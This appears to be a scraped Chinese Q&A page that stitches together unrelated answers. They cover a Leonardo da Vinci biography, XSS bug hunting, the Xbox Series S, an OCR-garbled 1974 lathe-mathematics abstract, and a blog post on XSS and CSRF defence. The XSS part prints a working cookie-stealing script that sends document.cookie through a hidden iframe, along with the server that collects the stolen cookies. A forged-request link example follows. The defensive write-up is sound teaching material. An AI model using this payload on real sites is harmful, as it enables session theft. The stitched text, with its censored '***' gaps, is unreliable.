求欧洲历史中的一位名人?
您好!很高心为你解答;
你说的这个人是达芬奇吧!!!
首先,他是欧洲意大利人,下面,我引用资料(百度百科)给你介绍一下;
列奥纳多·达·芬奇(1452年4月15日-1519年5月2日)意大利文艺复兴三杰之一,也是整个欧洲文艺复兴时期最完美的代表。他是一位思想深邃,学识渊博、多才多艺的画家、天文学家、发明家、建筑工程师和军事工程师。他是一位天才,他一边热心于艺术创作和理论研究,研究如何用线条与立体造型去表现形体的各种问题;另一边他也研究自然科学。为了真实感人的艺术形象,他广泛地研究与绘画有关的光学、数学、地质学、生物学等多种学科。他的艺术实践和科学探索精神对现代产生了重大而深远的影响。是意大利文艺复兴时期的一个博学者。他的天赋或许比同时期的其他人物都高,这使他成为文艺复兴时期人文主义的代表人物,也使得他成为文艺复兴时期典型的艺术家,也是历史上最著名的画家之一,与米开朗基罗和拉斐尔并称文艺复兴三杰。小行星3000被命名为“列奥纳多”以表示人们对列奥纳多·达·芬奇的尊敬和怀念。
人物传记;
一、天才少年 莱昂纳多.达.芬奇(Leonardo da vinci ,1452-1519)诞生在意大利芬奇镇附近的安基亚诺村,芬奇镇靠近佛罗伦萨。达.芬奇是非婚生子,他的童年是在祖父的田庄里度过的。孩提时代的达.芬奇聪明伶俐,勤奋好学,兴趣广泛。他歌唱得很好,很早就学会弹琵琶,他的即兴演唱,不论歌词还是曲调,都让人惊叹。他尤其喜爱绘画,常为邻里们作画,有“绘画神童”的美称。达.芬奇的家庭是当时佛罗伦萨有名的望族,父亲皮埃罗希望达.芬奇象自己一样当律师,可后来由于发生了一件事情而使皮埃罗改变了想法,决定让小芬奇学画。 当时,皮埃罗受一位农民的委托,要画一幅盾面画。他听说儿子会画画,想试试儿子的画艺,便将这任务交给了小芬奇。小芬奇凭借自己丰富的想象力,用了一个月的时间,画成了一个骇人的妖怪。这妖怪长着火球般的眼睛,张着血盆大口,鼻孔中喷出火焰和毒气,样子十分的恐怖。作品完成后,小芬奇请父亲来到他的房间。他把窗遮去一半,将画架竖在光线恰好落在妖怪身上的地方。皮埃罗刚走进房间时,一眼就看到了这个面目狰狞的怪物,吓得大叫起来。小芬奇则笑着对父亲说:“请您拿去吧,这就是它该产生的效果。”皮埃罗从此确信儿子有绘画天赋,便将小芬奇送往佛罗伦萨,师从著名的艺术家委罗基奥,开始系统地学习造型艺术。此时的达.芬奇只有14岁。 委罗基奥的画舫是当时佛罗伦萨著名的艺术中心,经常有意大利人文主义者在这里聚会,讨论学术问题。达.芬奇在这里结实了一大批知名的人文主义者、艺术家和科学家,开始接受人文主义的熏陶。 达.芬奇在20岁时已有很高的艺术造诣,他用画笔和雕刻刀去表现大自然和现实生活的真、善、美,热情歌颂人生的幸福和大自然的美妙。 达.芬奇并不满足他的这些才干,他要掌握人类思想的各个领域。他眼光独到,做事干练,具有艺术的灵魂。有一次,他在山里迷了路,走到了一个漆黑的山洞前。他在后来回忆这段经历时说:“我突然产生了两种情绪——害怕和渴望:对漆黑的洞穴感到害怕,又想看看其中是否会有什么怪异的东西。”他一生都被这两种情绪所羁束——对生活之不可知或无力探知的神秘感到害怕,而又想把这个神秘之不可知性加以揭露,加以研究,解释其含义,描绘其壮观。他很早就下定决心,要做一个研究者、一个教师、尤其是一个艺术家。二.科学巨匠 达.芬奇无论是在艺术领域,还是在自然科学领域,都取得了惊人的成就。他的眼光与科学知识水平超越了他的时代。 在文艺复兴早期,人们盲目地接受传统观念,崇拜古代权威和古典著作。人们学习科学知识也只是学习象《圣经》一样的亚里士多德的理论,只相信文字记载。达.芬奇反对经院哲学家们把过去的教义和言论作为知识基础,他鼓励人们向大自然学习,到自然界中寻求知识和真理。他认为知识起源于实践,只有从实践出发,通过实践去探索科学的奥秘。他说“理论脱离实践是更大的不幸”,“实践应以好的理论为基础”。达.芬奇提出并掌握了这种先进的科学 *** ,采用这种科学 *** 去进行科学研究,在自然科学方面作出了巨大的贡献。他提出的这一 *** ,后来得到了伽利略的发展,并由英国哲学家弗兰西斯.培根从理论上加以总结,成为近代自然科学的最基本 *** 。 达.芬奇坚信科学,他对宗教感到厌恶,抨击天主教为“一个贩卖欺骗的店铺”。他说:“真理只有一个,他不是在宗教之中,而是在科学之中。”达.芬奇的实验工作 *** 为后来哥白尼、伽利略、开普勒、牛顿等人的发明创造开辟了道路。 在天文学上,达.芬奇对传统的“地球中心说”持否定的观点。他认为地球不是太阳系的中心,更不是宇宙的中心,而只是一颗绕太阳运转的行星,太阳本身是不运动的。达.芬奇还认为月亮自身并不发光,他只是反射太阳的光辉。他的这些观点的提出早于哥白尼“太阳中心说”。甚至在当时,达.芬奇就幻想利用太阳能了。 在物理学方面, 达.芬奇重新发现了液体压力的概念,提出了连通器原理。他指出:在连通器内,同一液体的液面高度是相同的,不同液体的液面高度不同,液体的高度与密度成反比。他发现了惯性原理,后来为伽利略的实验所证明。他认为一个抛射体最初是沿倾斜的直线上升,在引力和冲力的混合作用下作曲线位移,最后冲力耗尽,在引力的作用下作垂直下落运动。他的这一发现使亚里士多德的落体学说产生了动摇。他发展了杠杆原理,除推导出作用力与臂长关系外,还算出了速度与臂长的关系。他指出了“永动机”作为能源的不可能性。达.芬奇还预示了物质的原子原理,形象生动的描述了原子能的威力:“那东西将从地底下爆起,……使人在无声的气息中突然死去,城堡也遭到彻底毁坏,看起来在空中似乎有破坏力。” 达.芬奇在解剖学和生理学上也取得了巨大的成就,被认为是近代生理解剖学的始祖。他掌握了人体解剖知识,从解剖学入手,研究了生理学和医学。他更先采用蜡来表现人脑的内部结构,也是设想用玻璃和陶瓷 *** 心脏和眼睛的之一人。他发现了血液的功能,认为血液对人体起着新陈代谢的作用。他说血液不断的改造全身,把养料带到身体需要的各个部分,再把体内废物带走。达.芬奇研究过心脏,他发现心脏有四个腔,并画出了心脏瓣膜。他认为老年人的死因之一是动脉硬化,而产生动脉硬化的原因是缺乏运动。后来,英国的威廉.哈维证实和发展了达.芬奇的这些生理学成果。 达.芬奇的研究和发明还涉及到军事和机械方面,他发明了飞行机械、直升飞机、降落伞、机关枪、手榴弹、坦克车、潜水艇、双层船壳战舰、起重机等等。他还在数学领域和水利工程等方面作出了重大的贡献。 可以说,达.芬奇的研究涉及到自然科学的每一部门,他的思想和才能深入到人类知识的各个领域。他是世界上少有的全面发展的学者。 但是达.芬奇的大多数著作和手稿都没有发表,直到他逝世后多年才被世人所发现。科学史家丹皮尔这样评论达.芬奇,“如果他当初发表他的著作的话,科学本来一定会一下就跳到一百年以后的局面。”三.艺术大师 说到艺术创作,在文艺复兴时期当数达.芬奇、米开朗基罗和拉斐尔的成就更高。他们的艺术成就达到了西方造型艺术继古希腊之后的第二次高峰,仅绘画而言,则达到了欧洲的之一次高峰。其中尤以达.芬奇最为突出,恩格斯称他是巨人中的巨人。在艺术创作方面,达.芬奇解决了造型艺术三个领域——建筑、雕刻、绘画中的重大课题:1、解决了纪念性中央圆屋顶建筑物设计和理想城市的规划问题;2、完成了15世纪以来雕刻家深感棘手的骑马纪念碑雕像的课题;3、解决了当时绘画中两个重要领域--纪念性壁画和祭坛画的问题。达.芬奇的艺术作品不仅象镜子似的反映事物,而且还以思考指导创作,从自然界中观察和选择美的部分加以表现。壁画《最后的晚餐》、祭坛画《岩间圣母》和肖像画《蒙娜丽莎》是他一生的三大杰作。这三幅作品是达.芬奇为世界艺术宝库留下的珍品中的珍品,是欧洲艺术的拱顶之石。四.文艺复兴精神的代表 达.芬奇比之文艺复兴时期中的任何一人,有更多的、领域更广的幻想。他思想深邃、博学多才。他怀着永无休止的探索精神去研究自然和人生的一切奥秘,他把艺术和科学、理智和情感、形体和精神熔于一炉,继承和发扬了前人的人文主义思想和现实主义表现手法,把艺术推进到一个前所未有的高度,为自然科学的发展作出了巨大贡献。 达.芬奇是当之无愧的“文艺复兴时代最完美的代表人物”。
希望答案能够对你有帮助!!!
发现XSS漏洞的一般做法有哪些?
关于发现时间,要具体到是检测什么目标了。找google的,和找腾讯的时间肯定不会一样。 至于“你们一般都是如何发现xss漏洞的?” 不同类型的XSS漏洞,可能不尽相同。
1.对于反射型XSS以及一些DOM XSS,一般建议是开发一些自动化的扫描工具进行扫描,并辅以手工分析。 另外一方面,搜索引擎也是快速寻找具有缺陷参数的好办法。
2.对于存储型XSS,
1) 对于单纯的输入-存储-输出点 的情况 (输入与输出点关系:一个地方输入,会有多个地方输出;不同地方输入,同一地方输出。绕了点 T T ...)。常规测试是正向直接输入内容,然后在输出点查看是否未过滤,当然你也可以先大胆假设输出点未过滤,反向寻找在何处进行输入,进而测试。
2)对于富文本,则需要对过滤器进行fuzz测试(人脑+自动化)了,正好乌云drops上有乌乌发了一篇:fuzzing XSS filter
3)第三类,就是一些WEB应用中所出现的DOM-存储型XSS,即输出点的无害内容,会经过js的一些dom操作变得危险(本质上和 第1点里的dom xss成因是一样的)。这一类的挖掘 *** ,个人觉得不太好总结。 其一,需要熟悉WEB应用的功能,其二,知道功能所对应的 *** 代码有哪些,其三,凭直觉猜测程序员会在哪些功能出现可能导致XSS的过滤遗忘或过滤错误(直觉是唬人的,其实就是你知道某些功能会需要某些代码实现,而这些代码常常容易出错),其四,需要有较好的代码阅读跟踪能力( *** 一大坨。。还是蛮难读的.... 有些代码被混淆过,十分不易阅读,就会涉及到如何下断点进行调试的小技巧)。 我想,挖掘这一类的前提可能是需要有不错的前端开发经验,写多了,才会有足够的嗅觉。
其实吧,有时候专门去找漏洞会很累的,大什么怡情,小什么伤身,因此,我们还不如开心的敲敲代码,听听歌,静待生命中那些意外的收获。 这些收获经常来自身边的人发给你的一些事物。
最后,不论如何,基础很重要吧,内力不足,招式再多也没用,反之,草木竹石皆可为剑。
电视是4k xss开不了2k
xss只支持2k,而电视是4k,显然是不匹配的,所以开不了。
Xbox Seires S作为一台低配版次世代主机,在性能方面有诸多妥协,从而在游戏的选择方面也要比高配的Xbox Seires X要窄一点。
简单总结:
游玩次世代版本的游戏效果:佳
XSS运行次世代游戏时具备次世代主机的一切该有的性能表现(超短的读盘时间,智能分发,快速恢复,光线追踪),大部分游戏都可以稳定60帧,分辨率大部分固定在1080P,少部分优化优秀的游戏可以达到2K分辨率。
小弟跪求前辈帮助!!!
《广西师范大学学报(哲学社会科学版)》 1974年11期
车工中的两个数学问题
罗桂烈
【摘要】:正车削加工中提高表面光洁度的研究 一、问题的提出 在车床上加工45钢的棒料外圆时,图纸要求表面光洁度达▽_5,问应如何适当选择进给量S和刀尖半径r? 二、公式的推导 在车床加工工件外圆时,刀刃在工件上运动轨迹是螺旋线,所以,让工件通过放大观测可以看到工件表面不是光滑的圆柱表面,而是带有螺距很小(等于进给量)的螺纹表面。这是形成表面粗糙度的原因之一。在加工过程中由于加工表面的塑性变形、刀具在工件表面的摩擦以及在切削过程中产生的其它现象,往往使已加工表面的实际粗糙度H_实大于理论高度H。通常,表面光洁度是用放大观测到的工件表面的实际粗糙高度H_实的平均值H_平或其平均方根偏差H_方表示。例如,微观
【作者单位】: 广西师院数学系
【关键词】: 工件表面 车工 刀尖圆弧半径 数学问题 母线 车刀 表面光洁度 小端直径 高表 圆锥体
【DOI】:CNKI:SUN:GXSS.0.1974-11-012
【正文快照】:
车削加】k。提高表面光洁度的研究① 一、吓辽的提出 介车床卜加工Jr们的筛料外圆时;回纸要求表面光洁度达V。,问应如何适当选抒进给Ji旧和刀尖半径1? 二、公式朗抒思 汀车床加工工件外闰则,刀刃在工件上运动轨迹是螺旋线,所以,让工件通过放大观测可以看到工件表面不是光滑的
首先声明我不是代写毕业论文的,希望这个网址能给你帮助,类似的文献很多,哪些是你需要的你要自己注册!我注册的账号过期了。。要不就能帮你整理下来大量的文献,要是完全代写我现在鞭长莫及,请原谅!
西南交大研究生论文答辩的时间是一个小时吗
西南交通大学历年考研真题
链接:
提取码: vy2z
若资源有问题欢迎追问
前端安全方面有没有了解?xss和csrf如何攻防
在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式。在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了。但是,历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了,所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤,我一定会在模板输出时候全部转义。所以个人感觉,要避免 XSS 也是很容易的,重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ,于是找了些资料了解了一下,并与 XSS 放在一起做个比较。
XSS:脚本中的不速之客
XSS 全称“跨站脚本”,是注入攻击的一种。其特点是不对服务器端造成任何伤害,而是通过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本,作为内容发布到了页面上,其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中,可能只是简单的恶作剧——一个关不掉的窗口:
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程,先建立一个用来收集信息的服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是总是有用,正如上面的注入代码,用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下,我还能用 iframe 发起 POST 请求。当然,现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功,何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,我们也不应该把事关安全性的责任推脱给浏览器,所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的,这点对于 Web 开发者应该是常识。
正如上文所说,如果我们不需要用户输入 HTML 而只想让他们输入纯文本,那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们,我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数,Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎,那么其必自带了方便快捷的转义方式。
真正麻烦的是,在一些场合我们要允许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙,但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况,我个人更倾向于使用简单的 *** 处理,简单的 *** 就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构,但我们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性)。然后根据用户原有的标签属性,重新构建 HTML 元素树。构建的过程中,所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不同于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。
现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中,开启(或不要关闭)类似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不需要转义的场合,我们可以用类似 的方式取消转义。这种白名单式的做法,有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域,开发者不得不自己打开危险的大门。这种情况下,站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包(似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。不管怎么说,我认为从用户输入的地方把好关总是成本更低而又最有效的做法。
CSRF:冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不同维度上的分 类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,更好的 *** 是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 *** 把发贴内容拼接成目标 URL 并访问:
标题content=内容
那么,我只需要在论坛中发一帖,包含一链接:
我是脑残content=哈哈
只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题,我们是否可以效仿上文应对 XSS 的做法呢?过滤用户输入, 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用,但阻挡不了 CSRF,因为攻击者可以通过 *** 或其他网站把这个链接发布上去,为了伪装可能还使用 bit.ly 压缩一下网址,这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ,我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入,因为它并不属于注入攻击,而是请求伪造。被伪造的请求可以是任何来源,而非一定是站内。所以我们唯有一条路可行,就是过滤请求的 处理者。
比较头痛的是,因为请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛。
首先可以提高的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。当然,最理想的做法是使用 REST 风格 的 API 设计,GET、POST、PUT、DELETE 四种请求 *** 对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求 *** ,我们可以使用 ajax 提交请求(例如通过 jquery-form 插件,我最喜欢的做法),也可以使用隐藏域指定请求 *** ,然后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的做法)。这么一来,不同的资源操作区分的非常清楚,我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了,但他们仍可以发布表单,或者在其他站点上使用我们肉眼不可见的表单,在后台用 js 操作,伪造请求。
接下来我们就可以用比较简单也比较有效的 *** 来防御 CSRF,这个 *** 就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是一样的,只不过目的不同,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求一定来自预期的页面。实现 *** 非常简单,首先服务器端要以某种策略生成随机字符串,作为令牌(token), 保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单,但并非不可破解,使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意:
虽然请求令牌原理和验证码有相似之处,但不应该像验证码一样,全局使用一个 Session Key。因为请求令牌的 *** 在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。如果全局使用一个 Session Key,那么危险系数会上升。原则上来说,每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候,可以稍加封装,编写一个令牌工具包,将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合,因为很有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但无论如何,请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门,却又把钥匙放在门口,让我们的请求令牌退化为同步令牌。
之一点说了请求令牌理论上是可破解的,所以非常重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、 *** 的做法)。但这两种方式用户体验都不好,所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码,服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码可以在多次请求中使用(只要不再次刷新验证码图片),一直用到 Session 超时。这也是为何选课系统加了验证码,外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF,其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。如果我喜欢,可以给 referer 任何值。当然这个做法并不是毫无作用,起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接:这个是最无效的做法,因为首先攻击者不一定要从站内发起请求(上面提到过了),而且就算从站内发起请求,途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择,还不需要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户:这个 *** 看上去能干扰站外通过 iframe 发起的 CSRF,但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。
总体来说,目前防御 CSRF 的诸多 *** 还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章,一般都会含有“ *** ”二字来形容(另一位有该名号的貌似是 DDOS 攻击)。作为开发者,我们能做的就是尽量提高破解难度。当破解难度达到一定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌 *** ,就我 认为是最有可扩展性的,因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说,伪造的请求和正常的请求本质上是一致的。而请求令牌的 *** ,则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作,例如让页面中 token 的 key 动态化,进一步提高攻击者的门槛。本文只是我个人认识的一个总结,便不讨论过深了。
版权声明
本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。